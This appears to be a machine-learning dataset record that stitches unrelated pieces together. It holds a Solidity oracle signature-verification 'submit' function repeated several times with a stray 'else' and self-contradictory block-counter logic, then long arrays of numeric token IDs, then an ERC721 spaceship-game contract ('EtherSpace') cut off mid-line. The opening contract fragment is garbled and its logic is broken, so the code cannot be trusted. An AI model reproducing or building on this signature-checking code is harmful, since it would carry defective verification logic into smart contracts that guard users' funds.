= oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; uint256 currentRequiredOraclesCount; uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] = oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; uint256 currentRequiredOraclesCount; uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] = oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; uint256 currentRequiredOraclesCount; uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] = oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } } else { function submit( bytes32 _submissionId, bytes memory _signatures, uint8 _excessConfirmations ) external override onlyDeBridgeGate { uint8 needConfirmations = _excessConfirmations > minConfirmations ? _excessConfirmations : minConfirmations; uint256 currentRequiredOraclesCount; uint8 confirmations; uint256 signaturesCount = _countSignatures(_signatures); address[] memory validators = new address[](signaturesCount); for (uint256 i = 0; i < signaturesCount; i++) { (bytes32 r, bytes32 s, uint8 v) = _signatures.parseSignature(i * 65); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); if (getOracleInfo[oracle].isValid) { for (uint256 k = 0; k < i; k++) { if (validators[k] == oracle) revert DuplicateSignatures(); } validators[i] = oracle; confirmations += 1; emit Confirmed(_submissionId, oracle); if (getOracleInfo[oracle].required) { currentRequiredOraclesCount += 1; } if ( confirmations >= needConfirmations && currentRequiredOraclesCount >= requiredOraclesCount ) { break; } } } if (currentRequiredOraclesCount != requiredOraclesCount) revert NotConfirmedByRequiredOracles(); if (confirmations >= minConfirmations) { if (currentBlock == uint40(block.number)) { submissionsInBlock += 1; currentBlock = uint40(block.number); submissionsInBlock = 1; } emit SubmissionApproved(_submissionId); } if (submissionsInBlock > confirmationThreshold) { if (confirmations < excessConfirmations) revert NotConfirmedThreshold(); } if (confirmations < needConfirmations) revert SubmissionNotConfirmed(); } function setThreshold(uint8 _confirmationThreshold) external onlyAdmin { if (_confirmationThreshold == 0) revert WrongArgument(); confirmationThreshold = _confirmationThreshold; } function setDebridgeAddress(address _debridgeAddress) external onlyAdmin { debridgeAddress = _debridgeAddress; } function isValidSignature(bytes32 _submissionId, bytes memory _signature) external view returns (bool) { (bytes32 r, bytes32 s, uint8 v) = _signature.splitSignature(); address oracle = ecrecover(_submissionId.getUnsignedMsg(), v, r, s); return getOracleInfo[oracle].isValid; } function _countSignatures(bytes memory _signatures) internal pure returns (uint256) { return _signatures.length % 65 == 0 ? _signatures.length / 65 : 0; } function version() external pure returns (uint256) { } }
1,698,391
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 5206, 2597, 1807, 1399, 358, 3929, 716, 279, 7412, 353, 6726, 635, 578, 69, 9558, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 9249, 17758, 353, 531, 354, 9558, 1318, 16, 467, 5374, 17758, 288, 203, 565, 1450, 9249, 1304, 364, 1731, 31, 203, 565, 1450, 9249, 1304, 364, 1731, 1578, 31, 203, 203, 565, 2254, 28, 1071, 14296, 7614, 31, 203, 565, 2254, 7132, 1071, 22071, 382, 1768, 31, 203, 565, 2254, 7132, 1071, 30610, 31, 203, 203, 565, 1758, 1071, 18202, 5404, 1887, 31, 203, 203, 203, 565, 555, 1505, 13691, 13215, 6434, 2996, 5621, 203, 565, 555, 2288, 3976, 11222, 858, 3705, 51, 354, 9558, 5621, 203, 565, 555, 2288, 3976, 11222, 7614, 5621, 203, 565, 555, 2592, 3951, 1248, 3976, 11222, 5621, 203, 565, 555, 19072, 23918, 5621, 203, 203, 203, 683, 9454, 18035, 560, 374, 18, 28, 18, 27, 31, 203, 565, 9606, 1338, 758, 13691, 13215, 1435, 288, 203, 3639, 309, 261, 3576, 18, 15330, 480, 18202, 5404, 1887, 13, 15226, 1505, 13691, 13215, 6434, 2996, 5621, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 203, 565, 445, 4046, 12, 203, 3639, 2254, 28, 389, 1154, 11269, 1012, 16, 203, 3639, 2254, 28, 389, 22275, 7614, 16, 203, 3639, 2254, 28, 389, 338, 614, 11269, 1012, 16, 203, 3639, 1758, 389, 323, 18337, 1887, 203, 565, 262, 1071, 12562, 288, 203, 3639, 531, 354, 9558, 1318, 18, 11160, 24899, 1154, 11269, 1012, 16, 389, 338, 614, 11269, 1012, 1769, 203, 3639, 14296, 7614, 273, 389, 22275, 7614, 31, 203, 3639, 18202, 5404, 1887, 273, 389, 323, 18337, 1887, 31, 203, 565, 289, 203, 203, 203, 565, 445, 4879, 12, 203, 3639, 1731, 1578, 389, 12684, 548, 16, 203, 3639, 1731, 3778, 389, 30730, 16, 203, 3639, 2254, 28, 389, 338, 614, 11269, 1012, 203, 565, 262, 3903, 3849, 1338, 758, 13691, 13215, 288, 203, 3639, 2254, 28, 1608, 11269, 1012, 273, 389, 338, 614, 11269, 1012, 405, 1131, 11269, 1012, 203, 5411, 692, 389, 338, 614, 11269, 1012, 203, 5411, 294, 1131, 11269, 1012, 31, 203, 3639, 2254, 5034, 783, 3705, 51, 354, 9558, 1380, 31, 203, 3639, 2254, 28, 6932, 1012, 31, 203, 3639, 2254, 5034, 14862, 1380, 273, 389, 1883, 23918, 24899, 30730, 1769, 203, 3639, 1758, 8526, 3778, 11632, 273, 394, 1758, 8526, 12, 30730, 1380, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 14862, 1380, 31, 277, 27245, 288, 203, 5411, 261, 3890, 1578, 436, 16, 1731, 1578, 272, 16, 2254, 28, 331, 13, 273, 389, 30730, 18, 2670, 5374, 12, 77, 380, 15892, 1769, 203, 5411, 1758, 20865, 273, 425, 1793, 3165, 24899, 12684, 548, 18, 588, 13290, 3332, 9334, 331, 16, 436, 16, 272, 1769, 203, 5411, 309, 261, 588, 23601, 966, 63, 280, 16066, 8009, 26810, 13, 288, 203, 7734, 364, 261, 11890, 5034, 417, 273, 374, 31, 417, 411, 277, 31, 417, 27245, 288, 203, 10792, 309, 261, 23993, 63, 79, 65, 422, 20865, 13, 15226, 19072, 23918, 5621, 203, 7734, 289, 203, 7734, 11632, 63, 77, 65, 273, 20865, 31, 203, 203, 7734, 6932, 1012, 1011, 404, 31, 203, 7734, 3626, 9675, 11222, 24899, 12684, 548, 16, 20865, 1769, 203, 7734, 309, 261, 588, 23601, 966, 63, 280, 16066, 8009, 4718, 13, 288, 203, 10792, 783, 3705, 51, 354, 9558, 1380, 1011, 404, 31, 203, 7734, 289, 203, 7734, 309, 261, 203, 10792, 6932, 1012, 1545, 1608, 11269, 1012, 597, 203, 10792, 783, 3705, 51, 354, 9558, 1380, 1545, 1931, 51, 354, 9558, 1380, 203, 7734, 262, 288, 203, 10792, 898, 31, 203, 7734, 289, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 309, 261, 2972, 3705, 51, 354, 9558, 1380, 480, 1931, 51, 354, 9558, 1380, 13, 203, 5411, 15226, 2288, 3976, 11222, 858, 3705, 51, 354, 9558, 5621, 203, 203, 3639, 309, 261, 10927, 1012, 1545, 1131, 11269, 1012, 13, 288, 203, 5411, 309, 261, 2972, 1768, 422, 2254, 7132, 12, 2629, 18, 2696, 3719, 288, 203, 7734, 22071, 382, 1768, 1011, 404, 31, 203, 7734, 30610, 273, 2254, 7132, 12, 2629, 18, 2696, 1769, 203, 7734, 22071, 382, 1768, 273, 404, 31, 203, 5411, 289, 203, 5411, 3626, 2592, 3951, 31639, 24899, 12684, 548, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 25675, 382, 1768, 405, 14296, 7614, 13, 288, 203, 5411, 309, 261, 10927, 1012, 411, 23183, 11269, 1012, 13, 15226, 2288, 3976, 11222, 7614, 5621, 203, 3639, 289, 203, 203, 3639, 309, 261, 10927, 1012, 411, 1608, 11269, 1012, 13, 15226, 2592, 3951, 1248, 3976, 11222, 5621, 203, 565, 289, 203, 203, 565, 445, 4879, 12, 203, 3639, 1731, 1578, 389, 12684, 548, 16, 203, 3639, 1731, 3778, 389, 30730, 16, 203, 3639, 2254, 28, 389, 338, 614, 11269, 1012, 203, 565, 262, 3903, 3849, 1338, 758, 13691, 13215, 288, 203, 3639, 2254, 28, 1608, 11269, 1012, 273, 389, 338, 614, 11269, 1012, 405, 1131, 11269, 1012, 203, 5411, 692, 389, 338, 614, 11269, 1012, 203, 5411, 294, 1131, 11269, 1012, 31, 203, 3639, 2254, 5034, 783, 3705, 51, 354, 9558, 1380, 31, 203, 3639, 2254, 28, 6932, 1012, 31, 203, 3639, 2254, 5034, 14862, 1380, 273, 389, 1883, 23918, 24899, 30730, 1769, 203, 3639, 1758, 8526, 3778, 11632, 273, 394, 1758, 8526, 12, 30730, 1380, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 14862, 1380, 31, 277, 27245, 288, 203, 5411, 261, 3890, 1578, 436, 16, 1731, 1578, 272, 16, 2254, 28, 331, 13, 273, 389, 30730, 18, 2670, 5374, 12, 77, 380, 15892, 1769, 203, 5411, 1758, 20865, 273, 425, 1793, 3165, 24899, 12684, 548, 18, 588, 13290, 3332, 9334, 331, 16, 436, 16, 272, 1769, 203, 5411, 309, 261, 588, 23601, 966, 63, 280, 16066, 8009, 26810, 13, 288, 203, 7734, 364, 261, 11890, 5034, 417, 273, 374, 31, 417, 411, 277, 31, 417, 27245, 288, 203, 10792, 309, 261, 23993, 63, 79, 65, 422, 20865, 13, 15226, 19072, 23918, 5621, 203, 7734, 289, 203, 7734, 11632, 63, 77, 65, 273, 20865, 31, 203, 203, 7734, 6932, 1012, 1011, 404, 31, 203, 7734, 3626, 9675, 11222, 24899, 12684, 548, 16, 20865, 1769, 203, 7734, 309, 261, 588, 23601, 966, 63, 280, 16066, 8009, 4718, 13, 288, 203, 10792, 783, 3705, 51, 354, 9558, 1380, 1011, 404, 31, 203, 2 ]
pragma solidity ^0.4.23; // File: contracts/convert/ByteConvert.sol library ByteConvert { function bytesToBytes2(bytes b) public pure returns (bytes2) { bytes2 out; for (uint i = 0; i < 2; i++) { out |= bytes2(b[i] & 0xFF) >> (i * 8); } return out; } function bytesToBytes5(bytes b) public pure returns (bytes5) { bytes5 out; for (uint i = 0; i < 5; i++) { out |= bytes5(b[i] & 0xFF) >> (i * 8); } return out; } function bytesToBytes8(bytes b) public pure returns (bytes8) { bytes8 out; for (uint i = 0; i < 8; i++) { out |= bytes8(b[i] & 0xFF) >> (i * 8); } return out; } } // File: contracts/interface/EtherSpaceBattleInterface.sol contract EtherSpaceBattleInterface { function isEtherSpaceBattle() public pure returns (bool); function battle(bytes8 _spaceshipAttributes, bytes5 _spaceshipUpgrades, bytes8 _spaceshipToAttackAttributes, bytes5 _spaceshipToAttackUpgrades) public returns (bool); function calculateStake(bytes8 _spaceshipAttributes, bytes5 _spaceshipUpgrades) public pure returns (uint256); function calculateLevel(bytes8 _spaceshipAttributes, bytes5 _spaceshipUpgrades) public pure returns (uint256); } // File: contracts/interface/EtherSpaceUpgradeInterface.sol contract EtherSpaceUpgradeInterface { function isEtherSpaceUpgrade() public pure returns (bool); function isSpaceshipUpgradeAllowed(bytes5 _upgrades, uint16 _upgradeId, uint8 _position) public view; function buySpaceshipUpgrade(bytes5 _upgrades, uint16 _model, uint8 _position) public returns (bytes5); function getSpaceshipUpgradePriceByModel(uint16 _model, uint8 _position) public view returns (uint256); function getSpaceshipUpgradeTotalSoldByModel(uint16 _model, uint8 _position) public view returns (uint256); function getSpaceshipUpgradeCount() public view returns (uint256); function newSpaceshipUpgrade(bytes1 _identifier, uint8 _position, uint256 _price) public; } // File: contracts/ownership/Ownable.sol // Courtesy of the Zeppelin project (https://github.com/OpenZeppelin/zeppelin-solidity) /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/lifecycle/Destructible.sol // Courtesy of the Zeppelin project (https://github.com/OpenZeppelin/zeppelin-solidity) /** * @title Destructible * @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner. */ contract Destructible is Ownable { constructor() public payable { } /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } // File: contracts/math/SafeMath.sol // Courtesy of the Zeppelin project (https://github.com/OpenZeppelin/zeppelin-solidity) /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/ownership/Claimable.sol // Courtesy of the Zeppelin project (https://github.com/OpenZeppelin/zeppelin-solidity) /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: contracts/token/ERC721.sol /** * @title ERC721 interface * @dev see https://github.com/ethereum/eips/issues/721 */ contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function transfer(address _to, uint256 _tokenId) public; function approve(address _to, uint256 _tokenId) public; function takeOwnership(uint256 _tokenId) public; } // File: contracts/token/ERC721Token.sol /** * @title ERC721Token * Generic implementation for the required functionality of the ERC721 standard */ contract ERC721Token is ERC721 { using SafeMath for uint256; // Total amount of tokens uint256 private totalTokens; // Mapping from token ID to owner mapping (uint256 => address) private tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private tokenApprovals; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) private ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private ownedTokensIndex; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return totalTokens; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { return ownedTokens[_owner].length; } /** * @dev Gets the list of tokens owned by a given address * @param _owner address to query the tokens of * @return uint256[] representing the list of tokens owned by the passed address */ function tokensOf(address _owner) public view returns (uint256[]) { return ownedTokens[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Gets the approved address to take ownership of a given token ID * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved to take ownership of the given token ID */ function approvedFor(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Transfers the ownership of a given token ID to another address * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { clearApprovalAndTransfer(msg.sender, _to, _tokenId); } /** * @dev Approves another address to claim for the ownership of the given token ID * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { address owner = ownerOf(_tokenId); require(_to != owner); if (approvedFor(_tokenId) != 0 || _to != 0) { tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } } /** * @dev Claims the ownership of a given token ID * @param _tokenId uint256 ID of the token being claimed by the msg.sender */ function takeOwnership(uint256 _tokenId) public { require(isApprovedFor(msg.sender, _tokenId)); clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId); } /** * @dev Mint token function * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addToken(_to, _tokenId); emit Transfer(0x0, _to, _tokenId); } /** * @dev Burns a specific token * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal { if (approvedFor(_tokenId) != 0) { clearApproval(msg.sender, _tokenId); } removeToken(msg.sender, _tokenId); emit Transfer(msg.sender, 0x0, _tokenId); } /** * @dev Tells whether the msg.sender is approved for the given token ID or not * This function is not private so it can be extended in further implementations like the operatable ERC721 * @param _owner address of the owner to query the approval of * @param _tokenId uint256 ID of the token to query the approval of * @return bool whether the msg.sender is approved for the given token ID or not */ function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) { return approvedFor(_tokenId) == _owner; } /** * @dev Internal function to clear current approval and transfer the ownership of a given token ID * @param _from address which you want to send tokens from * @param _to address which you want to transfer the token to * @param _tokenId uint256 ID of the token to be transferred */ function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal { require(_to != address(0)); require(_to != ownerOf(_tokenId)); require(ownerOf(_tokenId) == _from); clearApproval(_from, _tokenId); removeToken(_from, _tokenId); addToken(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) private { require(ownerOf(_tokenId) == _owner); tokenApprovals[_tokenId] = 0; emit Approval(_owner, 0, _tokenId); } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addToken(address _to, uint256 _tokenId) private { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; uint256 length = balanceOf(_to); ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; totalTokens = totalTokens.add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeToken(address _from, uint256 _tokenId) private { require(ownerOf(_tokenId) == _from); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = balanceOf(_from).sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; tokenOwner[_tokenId] = 0; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; totalTokens = totalTokens.sub(1); } } // File: contracts/EtherSpaceCore.sol contract EtherSpaceCore is ERC721Token, Ownable, Claimable, Destructible { string public url = "https://etherspace.co/"; using SafeMath for uint256; struct Spaceship { uint16 model; bool battleMode; uint32 battleWins; uint32 battleLosses; uint256 battleStake; bytes5 upgrades; bool isAuction; uint256 auctionPrice; } mapping (uint256 => Spaceship) private spaceships; uint256[] private spaceshipIds; /* */ struct SpaceshipProduct { uint16 class; bytes8 attributes; uint256 price; // initial price uint32 totalSold; // The quantity of spaceships sold for this model } mapping (uint16 => SpaceshipProduct) private spaceshipProducts; uint16 spaceshipProductCount = 0; // The next count for spaceships products created mapping (address => uint256) private balances; // User balances // Battle uint256 public battleFee = 0; // Marketplace uint32 public saleFee = 5; // 5% EtherSpaceUpgradeInterface public upgradeContract; EtherSpaceBattleInterface public battleContract; /* Events */ event EventCashOut ( address indexed player, uint256 amount ); event EventBattleAdd ( address indexed player, uint256 tokenId ); event EventBattleRemove ( address indexed player, uint256 tokenId ); event EventBattle ( address indexed player, uint256 tokenId, uint256 tokenIdToAttack, uint256 tokenIdWinner ); event EventBuySpaceshipUpgrade ( address indexed player, uint256 tokenId, uint16 model, uint8 position ); event Log ( string message ); constructor() public { _newSpaceshipProduct(0, 0x001e, 0x0514, 0x0004, 0x0005, 50000000000000000); // price 0.05 _newSpaceshipProduct(0, 0x001d, 0x0226, 0x0005, 0x0006, 60000000000000000); // price 0.06 _newSpaceshipProduct(0, 0x001f, 0x03e8, 0x0003, 0x0009, 70000000000000000); // price 0.07 _newSpaceshipProduct(0, 0x001e, 0x0258, 0x0005, 0x0009, 80000000000000000); // price 0.08 _newSpaceshipProduct(0, 0x001a, 0x0064, 0x0006, 0x000a, 90000000000000000); // price 0.09 _newSpaceshipProduct(0, 0x0015, 0x0032, 0x0007, 0x000b, 100000000000000000); // price 0.10 } function _setUpgradeContract(address _address) private { EtherSpaceUpgradeInterface candidateContract = EtherSpaceUpgradeInterface(_address); require(candidateContract.isEtherSpaceUpgrade()); // Set the new contract address upgradeContract = candidateContract; } function _setBattleContract(address _address) private { EtherSpaceBattleInterface candidateContract = EtherSpaceBattleInterface(_address); require(candidateContract.isEtherSpaceBattle()); // Set the new contract address battleContract = candidateContract; } /* Constructor rejects payments to avoid mistakes */ function() external payable { require(false); } /* ERC721Metadata */ function name() external pure returns (string) { return "EtherSpace"; } function symbol() external pure returns (string) { return "ESPC"; } /* Enable listing of all deeds (alternative to ERC721Enumerable to avoid having to work with arrays). */ function ids() external view returns (uint256[]) { return spaceshipIds; } /* Owner functions */ function setSpaceshipPrice(uint16 _model, uint256 _price) external onlyOwner { require(_price > 0); spaceshipProducts[_model].price = _price; } function newSpaceshipProduct(uint16 _class, bytes2 _propulsion, bytes2 _weight, bytes2 _attack, bytes2 _armour, uint256 _price) external onlyOwner { _newSpaceshipProduct(_class, _propulsion, _weight, _attack, _armour, _price); } function setBattleFee(uint256 _fee) external onlyOwner { battleFee = _fee; } function setUpgradeContract(address _address) external onlyOwner { _setUpgradeContract(_address); } function setBattleContract(address _address) external onlyOwner { _setBattleContract(_address); } function giftSpaceship(uint16 _model, address _player) external onlyOwner { _generateSpaceship(_model, _player); } function newSpaceshipUpgrade(bytes1 _identifier, uint8 _position, uint256 _price) external onlyOwner { upgradeContract.newSpaceshipUpgrade(_identifier, _position, _price); } /* Spaceship Product functions */ function _newSpaceshipProduct(uint16 _class, bytes2 _propulsion, bytes2 _weight, bytes2 _attack, bytes2 _armour, uint256 _price) private { bytes memory attributes = new bytes(8); attributes[0] = _propulsion[0]; attributes[1] = _propulsion[1]; attributes[2] = 